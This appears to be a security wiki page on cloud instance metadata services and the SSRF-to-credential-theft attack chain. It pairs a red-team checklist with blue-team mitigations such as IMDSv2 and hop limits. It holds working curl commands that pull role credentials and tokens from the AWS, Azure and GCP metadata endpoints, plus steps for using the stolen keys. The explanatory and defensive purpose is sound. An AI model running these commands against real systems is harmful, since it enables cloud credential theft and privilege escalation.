Metadata Service (IMDS)
Every cloud instance (EC2, VM, Compute Engine) has access to an internal metadata endpoint that gives it information about itself and, most juicy, temporary credentials of the associated role/identity. That endpoint lives on a non-routable IP (169.254.169.254) reachable only from the instance itself. The problem: if an app on that instance has an SSRF (see SSRF (Server-Side Request Forgery)), the attacker makes the app query the metadata service for them and steal the instance’s credentials. It’s one of the most impactful cloud attack chains.
Threat model
Section titled “Threat model”The metadata service is only reachable from the instance itself, so the attacker needs execution on it (RCE) or, far more common, an SSRF in an app running there. The prize is the instance role’s temporary credentials: with them they act as the instance against the cloud API, enumerate permissions, and escalate (see IAM Abuse and Privilege Escalation). It’s exactly the Capital One (2019) chain: SSRF in a WAF → IMDSv1 → EC2 role credentials → exfiltration from S3.
flowchart LR
A[Attacker] -->|internal URL| S[App with SSRF on instance]
S -->|GET 169.254.169.254| M[Metadata service]
M -->|temporary credentials| S
S -->|reflected| A
A -->|aws configure + token| C[Cloud API as the role]
C --> E[Enumerate and escalate: cloud-iam]
Theory: the endpoint
Section titled “Theory: the endpoint”- AWS / Azure:
http://169.254.169.254/... - GCP:
http://metadata.google.internal/(resolves to the same169.254.169.254).
Only reachable from the instance → the attacker needs RCE or an SSRF in an app running there.
AWS: IMDSv1 vs IMDSv2 (key)
Section titled “AWS: IMDSv1 vs IMDSv2 (key)”# IMDSv1 (vulnerable to SSRF): a simple GET returns credentialscurl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE># -> AccessKeyId, SecretAccessKey, Token (role's temporary credentials)
# IMDSv2 (mitigated): requires a prior PUT token (header), which a simple SSRF can't doTOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/IMDSv2 requires a PUT with a header and applies a hop limit, which blocks most SSRFs. Enforcing IMDSv2 is the main mitigation.
Azure and GCP
Section titled “Azure and GCP”# Azure IMDS: requires the Metadata:true headercurl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=2021-02-01"# Managed Identity token (access to Azure resources)curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP: requires the Metadata-Flavor: Google headercurl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"# -> access token of the instance's service accountThe required header (Azure Metadata:true, GCP Metadata-Flavor: Google) is a partial mitigation: an SSRF that can’t add headers won’t reach it.
Red Team
Section titled “Red Team”The attack chain (SSRF → cloud)
Section titled “The attack chain (SSRF → cloud)”- App vulnerable to SSRF on a cloud instance (see SSRF (Server-Side Request Forgery)).
- SSRF →
http://169.254.169.254/.../security-credentials/<role>. - You obtain the instance role’s temporary credentials.
- Configure those credentials and confirm who you are.
- Enumerate the role’s permissions and escalate (see IAM Abuse and Privilege Escalation).
Exploitation after stealing the credentials
Section titled “Exploitation after stealing the credentials”# AWS: configure the temporary credentials (includes the session token)export AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...aws sts get-caller-identity# enumerate what the role allows -> enumerate-iam / Pacu -> escalation (cloud-iam)
# GCP: use the SA access tokencurl -H "Authorization: Bearer <token>" \ "https://storage.googleapis.com/storage/v1/b?project=<project>"Blue Team
Section titled “Blue Team”- AWS: enforce IMDSv2 (
HttpTokens: required) and set the hop limit to 1 — blocks the vast majority of SSRFs. - Azure/GCP: the mandatory headers already help; additionally, restrict what the app can egress.
- Least privilege on the instance role: if the role barely has permissions, stealing its credentials is worth little (see IAM Abuse and Privilege Escalation).
- Fix the SSRF at the source (destination validation, allowlist — see SSRF (Server-Side Request Forgery)); egress/WAF blocking
169.254.169.254. - Monitor instance-credential use from external IPs (sign of SSRF theft); GuardDuty has a specific finding for this.
Checklist
Section titled “Checklist”- Is there SSRF in an app on a cloud instance? (SSRF (Server-Side Request Forgery))
- AWS: is IMDSv1 reachable? (direct GET to security-credentials)
- AWS: if IMDSv2, does the SSRF allow
PUT+ header? - Azure: Managed Identity token (
Metadata:trueheader) - GCP: service account token (
Metadata-Flavor: Google) - Use the stolen credentials (
sts get-caller-identity) - Enumerate the role’s permissions and escalate (IAM Abuse and Privilege Escalation)
- Blue: IMDSv2 enforced, hop limit, minimal role?